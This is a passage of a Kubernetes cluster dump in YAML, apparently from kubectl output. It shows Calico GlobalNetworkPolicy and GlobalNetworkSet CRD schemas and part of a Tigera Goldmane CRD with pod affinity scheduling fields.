                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                namespaceSelector:
                  description: NamespaceSelector is an optional field for an expression
                    used to select a pod based on namespaces.
                  type: string
                order:
                  description: |-
                    Order is an optional field that specifies the order in which the policy is applied.
                    Policies with higher "order" are applied after those with lower
                    order within the same tier.  If the order is omitted, it may be considered to be "infinite" - i.e. the
                    policy will be applied last.  Policies with identical order will be applied in
                    alphanumerical order based on the Policy "Name" within the tier.
                  type: number
                performanceHints:
                  description: |-
                    PerformanceHints contains a list of hints to Calico's policy engine to
                    help process the policy more efficiently.  Hints never change the
                    enforcement behaviour of the policy.

                    Currently, the only available hint is "AssumeNeededOnEveryNode".  When
                    that hint is set on a policy, Felix will act as if the policy matches
                    a local endpoint even if it does not. This is useful for "preloading"
                    any large static policies that are known to be used on every node.
                    If the policy is _not_ used on a particular node then the work
                    done to preload the policy (and to maintain it) is wasted.
                  items:
                    type: string
                  type: array
                preDNAT:
                  description: PreDNAT indicates to apply the rules in this policy
                    before any DNAT.
                  type: boolean
                selector:
                  description: "The selector is an expression used to pick out the
                    endpoints that the policy should\nbe applied to.\n\nSelector expressions
                    follow this syntax:\n\n\tlabel == \"string_literal\"  ->  comparison,
                    e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"   ->
                    \ not equal; also matches if label is not present\n\tlabel in
                    { \"a\", \"b\", \"c\", ... }  ->  true if the value of label X
                    is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\",
                    \"c\", ... }  ->  true if the value of label X is not one of \"a\",
                    \"b\", \"c\"\n\thas(label_name)  -> True if that label is present\n\t!
                    expr -> negation of expr\n\texpr && expr  -> Short-circuit and\n\texpr
                    || expr  -> Short-circuit or\n\t( expr ) -> parens for grouping\n\tall()
                    or the empty selector -> matches all endpoints.\n\nLabel names
                    are allowed to contain alphanumerics, -, _ and /. String literals
                    are more permissive\nbut they do not support escape characters.\n\nExamples
                    (with made-up labels):\n\n\ttype == \"webserver\" && deployment
                    == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment
                    != \"dev\"\n\t! has(label_name)"
                  type: string
                serviceAccountSelector:
                  description: ServiceAccountSelector is an optional field for an
                    expression used to select a pod based on service accounts.
                  type: string
                tier:
                  description: |-
                    The name of the tier that this policy belongs to.  If this is omitted, the default
                    tier (name is "default") is assumed.  The specified tier must exist in order to create
                    security policies within the tier, the "default" tier is created automatically if it
                    does not exist, this means for deployments requiring only a single Tier, the tier name
                    may be omitted on all policy management requests.
                  type: string
                types:
                  description: |-
                    Types indicates whether this policy applies to ingress, or to egress, or to both.  When
                    not explicitly specified (and so the value on creation is empty or nil), Calico defaults
                    Types according to what Ingress and Egress rules are present in the policy.  The
                    default is:

                    - [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are
                      also no Ingress rules)

                    - [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules

                    - [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.

                    When the policy is read back again, Types will always be one of these values, never empty
                    or nil.
                  items:
                    description: PolicyType enumerates the possible values of the
                      PolicySpec Types field.
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: GlobalNetworkPolicy
      listKind: GlobalNetworkPolicyList
      plural: globalnetworkpolicies
      singular: globalnetworkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"globalnetworksets.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"GlobalNetworkSet","listKind":"GlobalNetworkSetList","plural":"globalnetworksets","singular":"globalnetworkset"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"description":"GlobalNetworkSet contains a set of arbitrary IP sub-networks/CIDRs that share labels to\nallow rules to refer to them via selectors.  The labels of GlobalNetworkSet are not namespaced.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"GlobalNetworkSetSpec contains the specification for a NetworkSet resource.","properties":{"nets":{"description":"The list of IP networks that belong to this set.","items":{"type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: globalnetworksets.crd.projectcalico.org
    resourceVersion: "6820660"
    uid: 6fa80520-8b4d-4f6f-bb25-38e07abb2032
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: GlobalNetworkSet
      listKind: GlobalNetworkSetList
      plural: globalnetworksets
      singular: globalnetworkset
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: |-
            GlobalNetworkSet contains a set of arbitrary IP sub-networks/CIDRs that share labels to
            allow rules to refer to them via selectors.  The labels of GlobalNetworkSet are not namespaced.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: GlobalNetworkSetSpec contains the specification for a NetworkSet
                resource.
              properties:
                nets:
                  description: The list of IP networks that belong to this set.
                  items:
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: GlobalNetworkSet
      listKind: GlobalNetworkSetList
      plural: globalnetworksets
      singular: globalnetworkset
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:24Z"
    generation: 1
    name: goldmanes.operator.tigera.io
    resourceVersion: "6820572"
    uid: 68cf809c-8a89-4904-8b8c-cd2a98c69513
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: Goldmane
      listKind: GoldmaneList
      plural: goldmanes
      singular: goldmane
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                goldmaneDeployment:
                  description: GoldmaneDeployment is the configuration for the goldmane
                    Deployment.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the Deployment.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the goldmane Deployment.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the goldmane Deployment.
                            If omitted, the goldmane Deployment will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        strategy:
                          description: The deployment strategy to use to replace existing
                            pods with new ones.
                          properties:
                            rollingUpdate:
                              description: |-
                                Rolling update config params. Present only if DeploymentStrategyType =
                                RollingUpdate.
                                to be.
                              properties:
                                maxSurge:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be scheduled above the desired number of
                                    pods.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    This can not be 0 if MaxUnavailable is 0.
                                    Absolute number is calculated from percentage by rounding up.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                    the rolling update starts, such that the total number of old and new pods do not exceed
                                    130% of desired pods. Once old pods have been killed,
                                    new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                    at any time during the update is at most 130% of desired pods.
                                  x-kubernetes-int-or-string: true
                                maxUnavailable:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be unavailable during the update.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    Absolute number is calculated from percentage by rounding down.
                                    This can not be 0 if MaxSurge is 0.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                    immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                    can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                    that the total number of pods available at all times during the update is at
                                    least 70% of desired pods.
                                  x-kubernetes-int-or-string: true
                              type: object
                          type: object
                        template:
                          description: Template describes the goldmane Deployment
                            pod that will be created.
                          properties:
                            metadata:
                              description: Metadata is a subset of a Kubernetes object's
                                metadata that is added to the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the goldmane Deployment's PodSpec.
                              properties:
                                affinity:
                                  description: Affinity is a group of affinity scheduling
                                    rules for the goldmane pods.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
